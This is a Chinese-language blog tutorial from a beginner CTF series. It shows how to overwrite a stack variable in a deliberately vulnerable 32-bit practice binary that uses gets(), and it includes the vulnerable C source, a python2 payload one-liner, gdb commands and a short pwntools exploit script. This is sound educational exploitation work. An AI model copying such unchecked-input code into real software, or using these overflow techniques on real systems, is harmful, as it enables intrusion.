• PWN入门(3)覆盖堆栈上的变量


    简介

    pwn"这个词的源起以及它被广泛地普遍使用的原因,源自于魔兽争霸某段讯息上设计师打字时拼错而造成的,原先的字词应该是"own"这个字,因为 ‘p’ 与 ‘o’ 在标准英文键盘上的位置是相邻的,PWN 也是一个黑客语法的俚语词,是指攻破设备或者系统。发音类似"砰”,对黑客而言,这就是成功实施黑客攻击的声音,而在ctf比赛里,pwn是对二进制漏洞的利用

    获取文件信息

    下载这个github库,进入02文件夹

    https://github.com/Crypto-Cat/CTF/tree/main/pwn/binary_exploitation_101
    
    • 1

    在这里插入图片描述

    使用checksec工具可以查看程序更详细的信息

    在这里插入图片描述
    这也和上一个文件相似,从上到下依次是

    32位程序
    部分RELRO,基本上所有程序都默认的有这个
    没有开启栈保护
    未启用nx,nx:数据执行
    没有pie,意思是程序的内存空间不会被随机化
    有读,写,和执行的段,意思是我们可以在程序里写入shellcode
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    覆盖堆栈上的变量

    现在我们执行程序看看,随意输入一些字符后,程序就退出了

    在这里插入图片描述

    然后我们在数入长一点的字符,可以看到,原来的12345678已经变成大写字母A的ascii码了

    在这里插入图片描述

    然后我们打开程序的源代码看看

    在这里插入图片描述

    #include 
    #include 
    #include 
    
    void do_input(){   
        int key = 0x12345678;   //定义了一个变量key,key的值为0x12345678
        char buffer[32];    //定义了一个变量,名为buffer,有32个字节的缓冲区
        printf("yes? ");    //输出字符串yes?
        fflush(stdout);   //清除缓冲区
        gets(buffer);   //获取我们输入的字符,并存入到buffer变量里
        if(key == 0xdeadbeef){    //如果key = 0xdeadbeef
            printf("good job!!\n");
            printf("%04x\n", key);
            fflush(stdout);    //成功破解程序
        }
        else{   //否则失败
            printf("%04x\n", key);
            printf("...\n");
            fflush(stdout);
        }
    }
    
    int main(int argc, char* argv[]){
        do_input();
        return 0;
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26

    这里我们分析了源码,就没必要进行静态分析了

    通过分析源代码,我们知道了缓冲区的字节为32个,意思是我们只需要输入32个字符就能填满此程序的缓冲区,多余的字符则会覆盖key原本的值

    我们输入32个字符看看,然后再输入一些不同的值

    可以看到,key的原本的值被覆盖成b的ascii码了

    在这里插入图片描述

    从上面分析的源代码可以知道,key的值必须等于十六进制的0xdeadbeef才能输出正确的字符,这种十六进制无法用键盘输入,需要用到python

    在这里还有一个知识点是在x86架构里,读取地址是由低到高的,十六进制0xdeadbeef就要从最后一个开始写

    python2 -c "print ('A'*32+'\xef\xbe\xad\xde')"
    
    • 1

    在这里插入图片描述

    用linux管道符连接程序,可以看到,我们覆盖了key原本的值后成功的破解了程序

    在这里插入图片描述

    动态调试

    我们用gdb对程序进行动态调试

    gdb overwrite
    
    • 1

    然后查看程序里调用的函数

    info functions
    
    • 1

    在这里插入图片描述
    然后查看主函数do_input的汇编代码

    disassemble do_input
    
    • 1

    在这里插入图片描述

    在这里,key的值和我们输入的值做了对比

    在这里插入图片描述

    我们在这里下一个断点

    b *0x080491e0
    
    • 1

    然后运行程序,随意输入一些值
    在这里插入图片描述

    之后程序会自动运行到断点处停下

    在这里插入图片描述

    这里将ebp寄存器里的值减去了0xc转换成10进制就是12和0xdeadbeef做了对比,我们可以看一下这个地址的值

    x $ebp - 0xc
    
    • 1

    现在还是原来的值0x12345678

    在这里插入图片描述

    我们可以直接修改这个地址的值

    set *0xffffd38c = 0xdeadbeef
    
    • 1

    然后再次查看这个地址的值

    x $ebp - 0xc
    
    • 1

    在这里插入图片描述

    可以看到已经被修改成功了,现在我们输入n继续执行程序

    在这里插入图片描述

    成功破解程序

    pwntools脚本

    from pwn import *   //导入pwntools模块
    
    io = process('./overwrite')    //运行程序
    io.sendline(b'A' * 32 + p32(0xdeadbeef))   //程序运行后发送指定的字符串,格式为32位
    print(io.recvall().decode())   //接收输出并且解码
    
    • 1
    • 2
    • 3
    • 4
    • 5

    在这里插入图片描述

    总结

    有什么不会或者是错误的地方的可以私信我,看到必回

  • 相关阅读:
    ES6 Promise 详解
    Redis持久化
    pyflink连接iceberg 实践
    关于哈希游戏开发详细逻辑分析丨解析区块链哈希游戏DAPP系统开发的技术原理是怎样
    ZTE MU5001 5G Mobile WiFi Router Review
    多级别划分化学制品制造业经销商,经销商商城系统优化企业分销渠道链
    vue--9.路由
    桶排序(Bucket Sort)
    04.webpack中css的压缩和抽离
    进程与线程的关系,进程调度的基本过程
  • 原文地址:https://blog.csdn.net/qq_45894840/article/details/126770702